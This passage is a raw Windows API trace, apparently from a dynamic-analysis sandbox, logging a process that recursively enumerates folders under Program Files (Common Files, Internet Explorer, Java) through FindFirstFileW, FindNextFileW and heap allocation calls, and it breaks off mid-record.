0xb52838 [0276.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0276.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="..", cAlternateFileName="")) returned 1 [0276.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0276.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0276.734] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0276.734] GetProcessHeap () returned 0xaf0000 [0276.734] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.734] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb423a2d0, ftCreationTime.dwHighDateTime=0x1d57095, ftLastAccessTime.dwLowDateTime=0x57b65dd0, ftLastAccessTime.dwHighDateTime=0x1d57d51, ftLastWriteTime.dwLowDateTime=0x57b65dd0, ftLastWriteTime.dwHighDateTime=0x1d57d51, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0276.735] GetProcessHeap () returned 0xaf0000 [0276.735] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.735] GetProcessHeap () returned 0xaf0000 [0276.735] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0276.737] GetProcessHeap () returned 0xaf0000 [0276.737] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.737] GetProcessHeap () returned 0xaf0000 [0276.737] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.737] GetProcessHeap () returned 0xaf0000 [0276.737] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.739] GetProcessHeap () returned 0xaf0000 [0276.739] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.740] GetProcessHeap () returned 0xaf0000 [0276.740] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.740] GetProcessHeap () returned 0xaf0000 [0276.740] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.742] GetProcessHeap () returned 0xaf0000 [0276.742] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.742] GetProcessHeap () returned 0xaf0000 [0276.742] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.742] GetProcessHeap () returned 0xaf0000 [0276.742] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.744] GetProcessHeap () returned 0xaf0000 [0276.744] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.745] GetProcessHeap () returned 0xaf0000 [0276.745] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.746] GetProcessHeap () returned 0xaf0000 [0276.746] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.746] GetProcessHeap () returned 0xaf0000 [0276.746] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.747] GetProcessHeap () returned 0xaf0000 [0276.747] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.747] GetProcessHeap () returned 0xaf0000 [0276.747] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0276.748] GetProcessHeap () returned 0xaf0000 [0276.748] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0276.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.064] GetProcessHeap () returned 0xaf0000 [0277.064] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.065] GetProcessHeap () returned 0xaf0000 [0277.065] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.065] GetProcessHeap () returned 0xaf0000 [0277.065] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0277.066] GetProcessHeap () returned 0xaf0000 [0277.066] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.066] GetProcessHeap () returned 0xaf0000 [0277.066] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.066] GetProcessHeap () returned 0xaf0000 [0277.066] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.067] GetProcessHeap () returned 0xaf0000 [0277.067] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0277.068] GetProcessHeap () returned 0xaf0000 [0277.068] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0277.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.069] GetProcessHeap () returned 0xaf0000 [0277.069] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0277.071] GetProcessHeap () returned 0xaf0000 [0277.071] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.071] GetProcessHeap () returned 0xaf0000 [0277.071] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.072] GetProcessHeap () returned 0xaf0000 [0277.072] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.072] GetProcessHeap () returned 0xaf0000 [0277.072] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.073] GetProcessHeap () returned 0xaf0000 [0277.073] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.073] GetProcessHeap () returned 0xaf0000 [0277.073] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0277.074] GetProcessHeap () returned 0xaf0000 [0277.074] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.074] GetProcessHeap () returned 0xaf0000 [0277.074] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3698278 | out: hHeap=0xaf0000) returned 1 [0277.075] GetProcessHeap () returned 0xaf0000 [0277.075] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3698278 [0277.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.076] GetProcessHeap () returned 0xaf0000 [0277.076] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.076] GetProcessHeap () returned 0xaf0000 [0277.076] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.076] GetProcessHeap () returned 0xaf0000 [0277.076] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.077] GetProcessHeap () returned 0xaf0000 [0277.077] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.077] GetProcessHeap () returned 0xaf0000 [0277.077] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.077] GetProcessHeap () returned 0xaf0000 [0277.077] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.077] GetProcessHeap () returned 0xaf0000 [0277.077] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.078] GetProcessHeap () returned 0xaf0000 [0277.078] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.078] GetProcessHeap () returned 0xaf0000 [0277.078] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.078] GetProcessHeap () returned 0xaf0000 [0277.078] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.078] GetProcessHeap () returned 0xaf0000 [0277.078] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.079] GetProcessHeap () returned 0xaf0000 [0277.079] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a8280 | out: hHeap=0xaf0000) returned 1 [0277.079] GetProcessHeap () returned 0xaf0000 [0277.079] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a8280 [0277.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, 